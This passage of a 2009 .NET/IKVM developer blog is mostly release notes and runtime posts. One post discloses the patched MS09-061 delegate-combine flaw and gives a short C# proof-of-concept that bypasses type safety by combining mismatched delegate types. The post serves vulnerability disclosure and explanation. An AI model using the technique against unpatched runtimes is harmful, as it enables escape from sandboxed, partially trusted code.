The real ThreadLocal<T> type in .NET 4.0 beta 2 is much more complex, because it has to deal with recycling the types and protecting against returning a value from a recycled type. It also uses a higher base counting system  to number the types, the maximum number of types generated (per T) is 4096 in beta 2. After you allocate more than that, it falls back to using a holder type that uses Thread.SetData().

I'm not sure what to make of this. It's a clever trick, but I think it ultimately is too clever. I benchmarked a simpler approach using arrays (where each ThreadLocal<T> simply allocated an index in the [ThreadStatic] array) and it was a little bit faster and doesn't suffer from the downsides of creating a gazillion types (which probably take more memory and those types stay around until the AppDomain is destroyed).

Finally a tip for Microsoft, move the Cn types out of ThreadLocal, because currently they are also generic (due to the fact that C# automatically makes nested types generic based on the outer type's generic type parameters) and that is unnecessarily wasteful.

11/10/2009 7:03:31 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, November 04, 2009

New Development Snapshot

While the 0.42 release is still baking, a new development snapshot is available.

Changes:

  • Nat worked on clipboard and drag-and-drop support.
  • Volker worked on print support.
  • Various awt fixes/improvements.
  • Code cleanup/refactoring to prepare for IKVM.Reflection (replacement of IKVM.Reflection.Emit).
  • Fixed ikvmstub to ignore private interfaces.
  • Removed .NET 4.0 beta 1 workarounds.
  • Simplified the obj1.getClass() == obj2.getClass() intrinsic to avoid requiring full trust on .NET 4.0.
  • Optimized field reflection. We now delay creating the dynamic methods to access the field until after the field has been accessed a couple of times, this saves a lot of memory for fields that are only usused a few times.
  • Added -publicpackage:<pkg> option to ikvmc. Contributed by Eyal Alaluf of Mainsoft.
  • Added public API to get ClassLoader from Assembly.
  • Added (optional) per-module initialization to custom assembly class loaders.
  • Added ikvmc option -nopeercrossreference and the ability to use -r with peer assemblies.

Binaries available here: ikvmbin-0.43.3595.zip

11/4/2009 3:23:41 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]

Tuesday, October 27, 2009

MS09-061 Vulnerability Details

On "Patch Tuesday" two weeks ago Microsoft released security bulletin MS09-061. This bulletin describes three issues, one of which I reported to Microsoft on September 12, 2008. I will describe the details of what is now known as CVE-2009-0091. I have no inside knowledge of the other two vulnerabilities.

As mentioned in the original blog entry, I found the bug while browsing the Rotor sources. Here's the fragment that caught my eye:

    // This method will combine this delegate with the passed delegate
    // to form a new delegate.

    protected override sealed Delegate CombineImpl(Delegate follow)
    {
        // Verify that the types are the same...
        // Actually, we don't need to do this, because Delegate.Combine already checks this.
//      if (!InternalEqualTypes(this, follow)
//          throw new ArgumentException(...)

This is from multicastdelegate.cs (Warning: this link leads to Microsoft Shared Source licensed code).

The code that is commented out is a security check. After seeing this I immediately confirmed (using ildasm) that the, at that time current, production version of mscorlib also didn't include the check. I also checked .NET 1.1 and in that version the check is present. I also checked a pre-release version of Silverlight 2.0 and it also didn't include the check. The subsequent Silverlight 2.0 release on October 14, 2008 included the fix. Microsoft did not find it necessary to credit me with the fix (not even privately).

Why Is This a Security Vulnerability?

In my example type safety exploit, I used a union to bypass type safety. That wasn't an actual security vulnerability because such a union requires full trust. However, if we can combine two different delegate types we can do the same and because of the missing type check this was possible.

If you take TypeSafetyExploitPoC.cs and replace the TypeSystemHole method with the following and add a reference to an assembly containing CombinePoCHelper.il (written in MSIL because that is the easiest way to write your own MulticastDelegate subclass that can call the protected CombineImpl method).

delegate void AnotherDelegate(Union1 u2);

static Union1 TypeSystemHole(Union2 u2)
{
  Union1 u1 = null;
  CombineHelper del1 = delegate { };
  AnotherDelegate del2 = delegate(Union1 u) { u1 = u; };
  del1 = (CombineHelper)CombineHelper.CombineHack(del1, del2);
  del1(u2);
  return u1;
}

Voila!

10/27/2009 8:17:15 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [7]

Monday, October 26, 2009

IKVM 0.42 Release Candidate 2

A new release candidate is available.

Changes since previous release candidate:

  • Changed version to 0.42.0.2.
  • Fix for bug #2883889.
  • Fix for bug #2881954.
  • Fixed automagic serialization interop to work correctly in the face of a __WorkaroundBaseClass__ base type.
  • Small update for .NET 4.0 beta 2.

Binaries available here: ikvmbin-0.42.0.2.zip

Sources: ikvm-0.42.0.2.zip, openjdk6-b16-stripped.zip

10/26/2009 6:06:45 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, October 19, 2009

IKVM 0.42 Release Candidate 1

A new release candidate is available.

Changes since previous release candidate:

  • Changed version to 0.42.0.1.
  • Fixed a regression introduced in 0.40 that caused a System.NotSupportedException to be thrown by ikvmc when compiling multiple targets where one target (indirectly) implements a non-public interface from another target. Thanks to Erik Vullings for reporting this.

Binaries available here: ikvmbin-0.42.0.1.zip

Sources: ikvm-0.42.0.1.zip, openjdk6-b16-stripped.zip

10/19/2009 6:56:56 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Monday, October 12, 2009

IKVM 0.42 Release Candidate 0

The first release candidate is available.

Changes since last 0.41 development snapshot:

  • Changed version to 0.42.0.0.
  • Fixed virtual file system regression that caused NullReferenceException when trying to access a non-existing directory.
  • Volker added some print support code.
  • Fixed assertion in ILGenerator.
  • Fixed regression in reflection introduced when we started allowing open generic types to be visible to Java (for stack walking).
  • Fixed bug #2876211.

Binary available here: ikvmbin-0.42.0.0.zip

Sources: ikvm-0.42.0.0.zip, openjdk6-b16-stripped.zip

10/12/2009 6:43:34 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, October 02, 2009

New Development Snapshot

We're starting to prepare for the 0.42 release. This is the last 0.41 development snapshot.

Changes:

  • Added support for exposing open generic types as Java classes (special "handle" classes that can only be used for stack walking). Fixes bug #2843805.
  • ArrayTypeWrapper: Fixed a race condition and avoid holding the lock while calling external code.
  • Removed vestigial compact framework support code.
  • Some source file restructuring (Moved DynamicTypeWrapper and DotNetTypeWrapper classes into their own source files and AssemblyClassLoader and BootstrapClassLoader clases into AssemblyClassLoader.cs).
  • Fixed regression introduced with recent label handling changes. Bug #2847725.
  • Various AWT fixes by Nat and Volker.
  • Rewrote custom assembly class loader initialization to avoid running user code (static initializer) while holding a lock and to better handle invocation of getClassLoader() during the class loader constructor (or static initializer).
  • Added hack to expose more custom attributes from mscorlib as annotations.

Binary available here: ikvmbin-0.41.3562.zip

10/2/2009 6:58:51 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Tuesday, August 25, 2009

New Development Snapshot

Time for another snapshot as there have been a large number of changes since the previous snapshot. The Swing/AWT work that Volker and more recently also Nat have been doing has resulted in SwingSet2 now running quite nicely. Check out these screenshots:

Click for full size Click for full size Click for full size

Note that this is running the OpenJDK Swing code, with the GNU Classpath code the source code view and the HTML tab (the blue "Bouncing Babies!" text is HTML rendered in the tab) never worked. So this is great progress, but a lot more is still needed. Keyboard (and focus) support is still lacking and font support is still fairly limited, for example.

Changes:

  • More AWT/Swing work by Volker Berlin and Nat Luengnaruemitchai.
  • Fixed detection of dynamic assemblies (at runtime).
  • Fixed NullReferenceException when getting annotations on delegate constructor for delegates defined in Java.
  • Added App.config setting (ikvm-emit-symbols) to force emitting debug symbols on or off.
  • Fixed regression introduced in 0.40 that caused ikvmc to crash when specifying a non-public custom class loader.
  • Fixed bug in the handling of Annotation.__ReturnValue and Annotation.__Multiple fake types.
  • Implemented automatic .NET serialization support for Java serializable type (see here for details).
  • Fix for #2829717. Constructing java.lang.String instances from JNI should redirect to static helper method.
  • Several minor IKVM.Reflection.Emit fixes.
  • Added ILGenerator.__GetILOffset().
  • Changed CodeEmitter to use ILGenerator.__GetILOffset() (when usig IKVM.Reflection.Emit) instead of manually tracking the IL offset.
  • Added "clever" exception block assistance mode to ILGenerator. In this mode, leave and endfinally instructions are only auto inserted when necessary.
  • Use ILGenerator's new "clever" mode in ikvmc to produce smaller code.
  • Fixed IKVM.Reflection.Emit to put .pdb file in same location as assembly (instead of current directory). Thanks to Dawid Weiss for reporting this.
  • Removed ISymWrapper.dll dependency from IKVM.Reflection.Emit.PdbWriter.dll.
  • IKVM.Reflection.Emit.PdbWriter.dll now caches the debugging information, instead of "streaming" it into the unmanged PDB writer to workaround the ridiculous memory usage of the unmanaged PDB writer. It is now possible to build the full core class library assemblies set with debugging enabled.
  • Fixed major regression in pdb debugging support introduced in 0.40 that caused local variable support to be completely broken.

Binary available here: ikvmbin-0.41.3524.zip

8/25/2009 9:21:38 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, August 24, 2009

Microsoft PDC

If you're going to the PDC and want to chat, let me know.

Meet me in Los Angeles -- PDC 2009

8/24/2009 6:23:45 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, August 11, 2009

Serialization Interop

I'm not a big fan of serialization, but there is one use that makes sense to me; intra-process, cross-AppDomain serialization. If you have ever done any cross-AppDomain work with IKVM you've probably run into the situation where a Java exception couldn't be serialized across the AppDomain boundary.

I've finally addressed this by building automatic (oneway) serialization interop support into IKVM. This means that most Java classes that are serializable should now automatically become .NET serializable. There are, however, some important caveats:

  • Serialized streams will not be compatible between different IKVM releases. This is intended *only* for cross-AppDomain serialization between different instances of the same IKVM code.
  • ObjectOutputStream.writeUnshared() and ObjectInputStream.readUnshared() have not been implemented. So any classes that rely on those will fail to serialize/deserialize.
  • Instances of dynamically loaded Java classes and statically (ikvmc) compiled classes that implement readResolve() will fail deserialization if they (directly or indirectly) serialize self references.
  • Deserialization ordering may be different, meaning that if a class has a custom deserialization method, it may encounter objects that have not been completely deserialized.
  • Under some circumstances, a class that implements readResolve() may have its readResolve() method called twice on the same object.
  • When a ghost array is serialized, it is serialized as an object[] (i.e. it loses its specific type).

Again, any Java class that is serializable (i.e. that implements java.io.Serializable or java.io.Externalizable and follows the associated rules) is generally automatically .NET serializable. There are a couple of exceptions where ikvmc and the runtime will assume that your class wants to handle its own .NET serialization:

Using the .NET custom serialization custom attributes OnDeserializedAttribute, OnDeserializingAttribute, OnSerializedAttribute or OnSerializingAttribute does not interfere with getting automatic serialization support (and the .NET serialization engine will call the annotated methods at the appropriate times).

Inheritance - Extending Java classes in .NET

When you want to subclass a serializable Java class in (e.g.) C# and make your subclass serializable as well, you need to do two simple things:

  1. Add a [Serializable] attribute to your class.
  2. Add a .NET deserialization constructor that calls the base class constructor and does nothing else.

Here's an example of extending java.util.ArrayList:

[Serializable]
class MyList : java.util.ArrayList
{
  private int exampleField;

  public MyList()
  {
  }

  protected MyList(SerializationInfo info, StreamingContext context)
    : base(info, context)
  {
  }
}

MyList is now .NET serializable and exampleField will automatically be serialized/deserialized.

Inheritance - Extending .NET classes in Java

For this scenario, nothing has really changed. You still need to follow the standard .NET rules for creating serializable types.

Serializing .NET objects in Java

The automatic serialization interop is only one way, so you won't be able to serialize .NET objects using Java serialization (unless they happen to implement java.io.Serializable.__Interface or java.io.Externalizable). I currently have no plans to implement this functionality.

8/11/2009 9:24:07 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Friday, July 31, 2009

IKVM 0.40 Update 1 Release Candidate 1

Another minor update.

Changes:

  • Changed version to 0.40.0.3
  • Fixed regression introduced in 0.40 that caused ikvmc -classloader:<class> option to fail if <class> wasn't public.
  • Fixed regression introduced in 0.40 that caused ikvmstub on core class libraries to fail.
  • Fixed #2829717.

Binaries available here: ikvmbin-0.40.0.3.zip.

Sources: ikvm-0.40.0.3.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped-IKVM-0.40.zip

7/31/2009 8:50:46 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [10]

Friday, July 17, 2009

Responsible Disclosure, Irresponsible Patching?

In December 2006 I reported a critical .NET security vulnerability to Microsoft. When I found the the issue it had already been fixed in Vista, but it still took them until July 2007 to release a fix for XP. Seven months, I thought that was pretty bad.

In September 2008 I reported another critical .NET security vulnerability to Microsoft. The fix for this issue was trivial and made it into the subsequent Silverlight 2.0 RTM on October 13th. This week the July patches were released and for the tenth month no security bulletin about this issue.

Wednesday I mailed the Microsoft Security Response Center to ask what the status is. I received no reply.

So I decided to investigate. I quickly discovered that my main (Vista) system was already patched (!). After some digging I found that on XP, Windows Update offers KB951847 which contains a fix.

The KB article makes no mention of any security fixes, nor is there a corresponding security bulletin.

If this is Microsoft's idea of responsible disclosure, then maybe I should also apply my "no Microsoft bug filing" policy to security issues.

7/17/2009 10:37:40 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Thursday, July 16, 2009

New Development Snapshot

It's been a while since the previous snapshot, but I haven't been sitting around idle. Besides the fixes to IKVM.Reflection.Emit, which were part of secret prototype project I've been working on (and may or may not announce at some point in the future :-)), I've also been working on IKVM.NET itself.

I did a bunch of work to improve startup (at least for "core" classes). In particular, many scenarios should now be possible without initializing the reflection machinery.

Here are some examples:

 

IKVM 0.40

IKVM 0.41.3484

 

    x86 JIT

    x86 NGEN

            x86 JIT

    x86 NGEN

    2nd invocation

obj = Float.TYPE 12.4 1.56 0.280 0.0152 0.0041
System.out.println("Hello World") 275 12.8 114 8.90 0.0569
new StringBuffer() 129 10.8 6.34 0.0866 0.0041
Charset.forName("windows-1252") 267 13.7 77.4 7.87 0.0028


Times are in milliseconds and (except for the last column) show the time it takes to execute the code snippet on the left as the very first Java code in the process. I added the "2nd invocation" column to emphasize that these large times are due to JIT and/or initialization costs. Things have clearly improved, but it should also be clear that when you care about startup time, you really need to look into using NGEN.

I should point out that currently only the "windows-1252" (and UTF-8) charsets are eagerly constructed to avoid reflection, if you care about another charset, let me know and I will add it (unless your charset isn't in IKVM.OpenJDK.Core.dll, then you're out of luck.)

Changes:

  • More AWT/Swing work..
  • Removed more GNU Classpath remnants.
  • Added rmi stub generation to build process, instead of relying on .class files in stripped zip.
  • Added "RuntimeCompatibilityAttribute(WrapNonExceptionThrows = true)" to generated assemblies.
  • Added ikvmc warnings for VerificationError and ClassFormatError.
  • Added -baseaddress:<address> option to ikvmc.
  • Fixed ikvmc to skip empty lines in response file, instead of throwing an exception.
  • Split XML assembly into eight parts. Thanks to Michael Kay for helping out with this.
  • Changed build to put x86 specific binaries in bin-x86 directory and x64 specific binaries in bin-x64. jvm.dll is now always built in both flavors. Unfortunately, ikvm-native still needs to be built separately.
  • Split core library into several more assemblies.
  • Added step to build process to automatically compute a base address for core library assemblies. This should make ngen-ed images more efficient (if the images can be loaded at their preferred base addresses).
  • Added a mechanism to the build to prevent accidentally introducing new dependencies between the OpenJDK assemblies.
  • Fixed bug that caused startup properties set with ikvm.runtime.Startup.setProperties() to be forgotten when doing a System.setProperties(null).
  • Forked java.io.ObjectStreamField to make signature computation lazy.
  • Made ikvm.runtime.Util.getInstanceTypeFromClass() into an instrinsic, when used with a class literal.
  • Optimized class literals that reference statically compiled classes (at a slight cost to dynamically compiled classes).
  • Optimized primitive class literals.
  • Added codegen optimization for reading unsigned bytes from a byte array (buf[i] & 0xFF or buf[i] 0x0FFL).
  • Made callerID initialization lazy.
  • Forked sun/nio/cs/StandardCharsets.java to eagerly create MS1252 and UTF-8 charsets, to avoid reflection (at least in Western Europe, if you want another charset added, just let me know.)
  • Several other minor optimizations.

Binary available here: ikvmbin-0.41.3484.zip

7/16/2009 10:00:05 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Friday, June 26, 2009

IKVM.Reflection.Emit Update

I have done a massive amount of fixes to IKVM.Reflection.Emit to make it full featured (even though it still doesn't implement all Reflection.Emit APIs, the functionality should (almost) all be there, for example via different overloads).

I completed support for generics (I think) and fixed many bugs in that area, ikvmc only uses a very small amount of generics so these fixes are unlikely to affect it.

It's worth explicitly stating the design goals of IKVM.Reflection.Emit:

  • It's a write-only API. Some GetXXX methods or properties may be implemented, but that's mostly for its internal convenience.
  • There is intentionally no error checking. During ikvm development the error checking in System.Reflection.Emit has cost me a huge amount of time, it is generally much easier to diagnose the problem when you have a broken assembly file. PEverify and ILDASM are your friends.
  • Code that uses System.Reflection.Emit in a write-only way is supposed to "just work" (modulo missing APIs, but those changes should be trivial).

I've done some pretty heavy duty testing on it. It should be ready for external (i.e. non-ikvmc) usage now. If you decide to use it (or consider using it), please let me know. As always, feedback is appreciated.

Changes:

  • Added support for ByRef and Pointer types.
  • Completed support for all literal field constant types and fixed null literal fields.
  • Added ModuleBuilder.DefineInitializedData().
  • Fixed many generics related bugs.
  • Added a (non-standard) API to ModuleBuilder to set the PE image base address.
  • Added TypeBuilder.SetParent().
  • Added TypeBuilder.GetMethod() and TypeBuilder.GetConstructor() to instantiate methods on generic types.
  • Added a (non-standard) API to ILGenerator to disable the "helpful" automatic leave/endfinally instructions in exception blocks.
  • Added support for pinned local variables.
  • Added UIntPtr and TypedReference signature encodings.
  • Fixed handling of TypeBuilder enums in custom attributes.
  • Added MethodBuilder.SetSignature().
  • Added GenericTypeParameterBuilder.SetInterfaceConstraints() and .SetGenericParameterAttributes().
  • Fixed (Method|Type)Builder.SetCustomAttribute() to set HasSecurity flag when SuppressUnmanagedCodeSecurityAttribute is set.
  • Added support for defining events.

Binary available here: ikvm-refemit-0.41.3464.zip

6/26/2009 6:42:52 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, June 15, 2009

IKVM 0.40 Update 1 Release Candidate 0

A minor update.

Changes:

  • Changed version to 0.40.0.2
  • Changed build to generate rmi stubs instead of depend on .class files in openjdk6-b12-stripped-IKVM-0.40.zip. Thanks to Jo Shields for helping with this.
  • Fixed verifier bugs. Thanks to Brian Heineman for reporting this.

Binaries available here: ikvmbin-0.40.0.2.zip.

Sources: ikvm-0.40.0.2.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped-IKVM-0.40.zip

6/15/2009 7:40:05 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Friday, June 05, 2009

IKVM 0.40 Released

I've released IKVM 0.40 to SourceForge. The binaries are identical to the ones in release candidate 1.

Release Notes

This document lists the known issues and incompatibilities.

Runtime

  • Code unloading (aka class GC) is not supported.
  • In Java static initializers can deadlock, on .NET some threads can see uninitialized state in cases where deadlock would occur on the JVM.
  • JNI
    • Only supported in the default AppDomain.
    • Only the JNICALL calling convention is supported! (On Windows, HotSpot appears to also support the cdecl calling convention).
    • Cannot call string contructors on already existing string instances
    • A few limitations in Invocation API support
      • The Invocation API is only supported when running on .NET.
      • JNI_CreateJavaVM: init options "-verbose[:class|:gc|:jni]", "vfprintf", "exit" and "abort" are not implemented. The JDK 1.1 version of JavaVMInitArgs isn't supported.
      • JNI_GetDefaultJavaVMInitArgs not implemented
      • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
      • DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
      • DetachCurrentThread doesn't release monitors held by the thread.
    • Native libraries are never unloaded (because code unloading is not supported).
  • The JVM allows any reference type to be passed where an interface reference is expected (and to store any reference type in an interface reference type field), on IKVM this results in an IncompatibleClassChangeError.
  • monitorenter / monitorexit cannot be used on unitialized this reference.
  • Floating point is not fully spec compliant.
  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays don't throw ArrayStoreException when you store an object that doesn't implement the ghost interface.
  • Class loading is more eager than on the reference VM.
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not fully implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully, but this isn't implemented.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled in a single assembly fully obeys the JLS binary compatibility rules.
  • An assembly can only contain one resource with a particular name.
  • Passing incorrect command line options to ikvmc may result in an exception rather than a proper error messages.

Class Library

Most class library code is based on OpenJDK 6 build 12. Below is a list of divergences and IKVM specific implementation notes.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not implemented.
java.awt GNU Classpath implementation with partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.net No IPv6 support implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.imageio.plugins.jpeg Partial implementation. JPEGs can be read and written, but there is no metadata support.
javax.management Not implemented.
javax.print Not implemented.
javax.script Not implemented.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing GNU Classpath implementation. Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Implementation based on .NET ODBC managed provider.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Image content handlers not implemented.

The entire public API is available, so "Not implemented." for javax.print, for example, means that the API is there but there is no back-end to provide the actual printing support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas.

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
.NET 2.0 SP2 x86 Windows
.NET 2.0 SP2 x64 Windows


Partial Trust

There is experimental support for running in partial trust.
 

6/5/2009 3:32:45 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Tuesday, June 02, 2009

New Development Snapshot

Class gc support has now been checked in (but is not available in the attached binaries, because they've been built for .NET 2.0). This is somewhat of a milestone snapshot, because it is the first version that no longer requires GNU Classpath to build*. However, please note that AWT / Swing still needs a lot of work.

*What this means is that there is no longer an external dependency on GNU Classpath. There is still GNU Classpath derived code in ikvm's source tree. For example, small parts of AWT and the pure Java  implementation of java.util.zip.

Changes:

  • Removed dependency on classpath-0.95-stripped.zip. All AWT / Swing code is now from OpenJDK or in the ikvm codebase.
  • Defined NET_4_0 when building on .NET 4.0 to enable conditional code.
  • Changed IKVM.Reflection.Emit's ModuleBuilder and AssemblyBuilder to extends Module and Assembly respectively when building on .NET 4.0.
  • Added .NET 4.0 fix to IKVM.Reflection.Emit (for the fact that Type now defines == operator).
  • Fixed locking for image based Graphics.
  • Various changes to remove warnings when building on .NET 4.0.
  • Several fixes related to dynamic assemblies.
  • Several improvements to better work in partial trust.
  • More AWT work.
  • Made java.lang.reflect.Field exception messages the same as JDK 6.
  • Implemented class gc (for .NET 4.0 builds).
  • Added -Xnoclassgc option to ikvm (only meaningful in a .NET 4.0 build).

Binaries available here: ikvmbin-0.41.3440.zip.

6/2/2009 10:49:01 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Friday, May 29, 2009

.NET 4.0 -- System.Runtime.CompilerServices.ConditionalWeakTable

Back in the PDC build of .NET 4.0 another interesting new feature was introduced: ConditionalWeakTable<TKey, TValue>. This is a special purpose dictionary to associate objects with other objects. It was introduced to help the DLR, which needs the ability to add properties to arbitrary objects. The documentation is pretty clear and the CLR team blog also has some info on it, so I won't rehash that. Instead I'll just mention that ConditionalWeakTable itself is not a magic type (i.e. the runtime knows nothing about it), but instead it is built on top of a private value type System.Runtime.Compiler.Services.DependentHandle. DependentHandle is essentially a handle based ephemeron implementation.

JVM vs CLR

This means that the CLR now comes a bit closer to the JVM in terms of memory management features. The JVM has had some very interesting reference types for a long time (WeakReference, SoftReference and PhantomReference) and the ability to have these references posted to a ReferenceQueue by the GC when the relevant change in reachability to the referenced object occurs.

Unfortunately there still isn't parity between the CLR and JVM, even though the CLR now provides a capability the JVM doesn't.

Java .NET Notes
ReferenceQueue n/a  
WeakReference WeakReference (short) .NET has no ReferenceQueue equivalent notification mechanism.
n/a WeakReference (long)    
SoftReference n/a  
PhantomReference     n/a  
WeakHashMap n/a  
n/a ConditionalWeakTable  

(If you think that Java's WeakHashMap and .NET's ConditionalWeakTable are similar, consider that ConditionalWeakTable is ephemeron based. Plus the fact that WeakHashMap uses short weak references and ConditionalWeakTable uses long weak references.)

IKVM.NET

ConditionalWeakTable is very useful for IKVM in several places:

  • Used to support class unloading by mapping Assembly to ClassLoader.
  • Used in caching of MethodBase properties.
  • Can be used to track the type of ghost arrays.
  • Can be used to more efficiently implement adding references to a ReferenceQueue.

Java

Given the effort going into Java 7 to improve support for dynamic languages it would not be surprising nor unwelcome to see ephemerons being added to the JVM.

5/29/2009 8:08:54 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, May 27, 2009

Class Unloading

I never thought I'd see the day, but it has arrived:

using System;
using java.net;

class ClassGC
{
  static void Main(string[] args)
  {
    URLClassLoader loader = new URLClassLoader(new URL[] { new URL("file:/c:/j/") });
    WeakReference weak = new WeakReference(loader);
    object obj = loader.loadClass("test").newInstance();
    Console.WriteLine(obj);;
    GC.Collect();
    Console.WriteLine(weak.Target);
    //GC.KeepAlive(obj);
  }
}

Running this on .NET 4.0 (with references to a version of IKVM 0.41 in which I've prototyped support for class gc):
(Don't forget to run in Release mode, otherwise the JIT will extend the lifetime of the local variables to the end of the method.)

Uncomment the GC.KeepAlive(obj) line to show that the object instance really does keep alive the class loader (and all associated IKVM and .NET infrastructure):

Source + binaries (remember this is prototype level code): ikvm-classgc-prototype.zip

5/27/2009 7:31:59 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, May 25, 2009

Development Snapshot

.NET 4.0

I wasn't sure whether to release a snapshot or not, because things are still very much in flux, but I decided that the ability to build on .NET 4.0 was a big enough feature to at least warrant a development snapshot (albeit a source snapshot this time).

I had to make a number of changes to be able to build on .NET 4.0:

  • System.Type now overloads the == operator, so TypeBase.Equals had to be modified to use ReferenceEquals to avoid infinite recursion.
  • Apply the SecurityRules(Level1) attribute to IKVM.Runtime.dll to opt out of the new security model. This is needed because IKVM.Runtime.dll has the AllowPartiallyTrustedCallers and SecurityCritical attributes.
  • Modify ikvmc and the runtime to apply the SecurityRules(Level1) attribute to all generated assemblies to opt out of the new security model to work around a (likely) bug in .NET 4.0. Special thanks to Shawn Farkas for helping with this.
  • Modify JNI code to move RuntimeMethodHandle from unmanaged to managed data.
  • Changed IKVM.Reflection.Emit to write current runtime version into module header instead of a hardcoded "v2.0.50727".

Visual Studio 2010

Building with Visual Studio was never supported and it still isn't. You need to build with NAnt ("nant clean && nant"). You can use Visual Studio 2010 to edit the source and do test compiles (after first building with NAnt to make sure the required files are all there). If you want to use nant to build on .NET 4.0 you'll have to modify NAnt.exe.config to add the net-4.0 target framework and add a <supportedRuntime ... /> line to the <startup> section.

Changes

  • Many AWT / Swing related changes as Volker continues to merge in OpenJDK code.
  • Fixed java.io.File.list() to not throw a System.NotSupportedException for certain invalid paths.
  • Added workaround for .NET C# compiler bug that prevents it from subclassing a Java class that implements a protected abstract method using a public method. This workaround is required to build IKVM.AWT.WinForms.dll, but the Mono C# compiler has a related bug that I have not been able to work around. Filed Mono Bug #506757.
  • Added support for java.io.File.list() to VFS.
  • Added support for declarative security attributes on assemblies and types.
  • Added some sun.misc.Unsafe methods that appear to be used by JRuby.
  • Various fixes for .NET 4.0 beta 1.
  • Removed code that supports .NET 2.0 RTM (SP1 is now required).

The source-only snapshot is availabe here: ikvmsrc-0.41.3432.zip.

5/25/2009 7:10:29 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, May 22, 2009

.NET 4.0 -- AssemblyBuilderAccess.RunAndCollect

This week .NET 4.0 beta 1 was released. I've been playing around with it a little bit and was very excited to find a new Reflection.Emit feature. If you're a reflection nut like me, the title of this blog entry probably already gave it away. Dynamic assemblies can now be garbage collected!

A Little Demo

Running this simple example will show that a System.Type instance is created and then garbage collected.

using System;
using System.Reflection;
using System.Reflection.Emit;

class RunAndCollectDemo
{
  static void Main()
  {
    Type type = CreateType();
    object obj = Activator.CreateInstance(type);
    Console.WriteLine(obj);
    WeakReference weak = new WeakReference(type);
    type = null;
    obj = null;
    Console.WriteLine("type = " + weak.Target);
    GC.Collect();
    Console.WriteLine("type = " + weak.Target);
  }

  static Type CreateType()
  {
    AssemblyBuilder ab =
      AppDomain.CurrentDomain.DefineDynamicAssembly(
        new AssemblyName("foo"),
        AssemblyBuilderAccess.RunAndCollect);
    ModuleBuilder modb = ab.DefineDynamicModule("foo.dll");
    TypeBuilder tb = modb.DefineType("Foo");
    return tb.CreateType();
  }
}

As you can imagine, this required some pretty deep runtime changes. One of them is that RuntimeMethodHandle is no longer a handle. Previously it contained an unmanaged pointer to the native CLR datastructure corresponding to the method, but now it contains a managed interface reference, because the corresponding method can be garbage collected (I haven't looked into it, but I assume that the interface reference points either to a RuntimeMethodInfo or in the case of a method in a RunAndCollect assembly a proxy that contains a weak reference to the RuntimeMethodInfo. UPDATE: A RuntimeMethodHandle represents a strong reference.)

